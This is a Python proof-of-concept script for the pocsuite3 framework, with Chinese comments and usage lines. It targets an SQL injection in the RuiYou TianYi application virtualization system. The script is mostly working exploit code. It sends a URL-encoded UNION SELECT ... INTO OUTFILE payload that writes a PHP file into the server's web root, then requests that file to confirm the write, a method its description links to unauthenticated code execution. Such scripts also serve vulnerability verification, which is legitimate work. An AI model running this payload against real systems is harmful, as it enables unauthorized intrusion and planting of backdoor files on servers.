1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. '''
  4. POC Name : SQL Injection Vulnerability in RuiYou_TianYi
  5. Reference : https://blog.csdn.net/qq_41904294/article/details/130231497
  6. Author : @m0re
  7. '''
  8. from pocsuite3.api import POCBase, Output, register_poc, requests, logger
  9. from pocsuite3.api import POC_CATEGORY, VUL_TYPE
  10. class RuiYou_SQLPOC(POCBase):
  11. vulID = "0" # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
  12. version = "1" # 默认为1
  13. author = "m0re" # PoC作者的大名
  14. vulDate = "2023-05-23" # 漏洞公开的时间,不知道就写今天
  15. createDate = "2023-05-23" # 编写 PoC 的日期
  16. updateDate = "2023-05-23" # PoC 更新的时间,默认和编写时间一样
  17. references = ["https://blog.csdn.net/qq_41904294/article/details/130231497"] # 漏洞地址来源,0day不用写
  18. name = "瑞友天翼-应用虚拟化系统 SQL注入漏洞 PoC" # PoC 名称
  19. appPowerLink = "http://www.realor.cn/" # 漏洞厂商主页地址
  20. appName = "RuiYou_TianYi" # 漏洞应用名称
  21. appVersion = "5.x <= RuiYou <= 7.0.2.1" # 漏洞影响版本
  22. vulType = VUL_TYPE.SQL_INJECTION # 漏洞类型,类型参考见 漏洞类型规范表
  23. category = POC_CATEGORY.EXPLOITS.WEBAPP
  24. samples = [] # 测试样列,就是用 PoC 测试成功的网站
  25. install_requires = [] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写
  26. desc = """
  27. 瑞友天翼应用虚拟化系统存在远程代码执行漏洞,未经身份认证的远程攻击者可以利用该漏洞在目标系统上执行任意代码,(该漏洞是通过SQL注入写入后门文件进行代码执行)
  28. """ # 漏洞简要描述
  29. pocDesc = """
  30. pocsuite加入环境变量可使用
  31. pocsuite -r RuiYou_TY.py -u http://xx.xx.xx.xx:xx/ --verify
  32. pocsuite未加入环境变量可使用
  33. python3 cli.py -r RuiYou_TY.py -u http://xx.xx.xx.xx:xx/ --verify
  34. """ # POC用法描述
  35. def _verify(self):
  36. output = Output(self)
  37. # 验证代码
  38. result = {
  39. # 不管是验证模式或者攻击模式,返回结果 result 中的 key 值必须按照下面的规范来写
  40. # [ PoC结果返回规范 ]( https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md#resultstandard )
  41. }
  42. payload = "/AgentBoard.XGI?user=-1%27+union+select+1%2C%27%3C%3Fphp+phpinfo%28%29%3B%3F%3E%27+into+outfile+%22C%3A%5C%5CProgram%5C+Files%5C+%5C%28x86%5C%29%5C%5CRealFriend%5C%5CRap%5C+Server%5C%5CWebRoot%5C%5C1.php%22+--+-&cmd=UserLogin"
  43. vul_url = self.url + payload
  44. try:
  45. response = requests.get(url=vul_url)
  46. if response.status_code == 200:
  47. phpinfo = self.url + "/1.php"
  48. response_phpinfo = requests.get(url=phpinfo)
  49. if "Version" in response_phpinfo.text:
  50. result['验证信息'] = {}
  51. result['验证信息']['URL'] = {vul_url}
  52. result['验证信息']['Payload'] = {payload}
  53. except Exception as e:
  54. logger.error(str(e))
  55. return self.parse_output(result)
  56. def parse_output(self, result):
  57. output = Output(self)
  58. if result: # result是返回结果
  59. output.success(result)
  60. else:
  61. output.fail("该站无此漏洞")
  62. return output
  63. # 注册 DemoPOC 类
  64. register_poc(RuiYou_SQLPOC)

使用方法

  1. pocsuite加入环境变量可使用
  2. pocsuite -r RuiYou_TY.py -u http://xx.xx.xx.xx:xx/ --verify
  3. pocsuite未加入环境变量可使用
  4. python3 cli.py -r RuiYou_TY.py -u http://xx.xx.xx.xx:xx/ --verify

说明

由于部分写入phpinfo文件后无法显示,所以多加了一个逻辑判断,访问写入的文件,查看返回包中是否含有”Version“这一字段。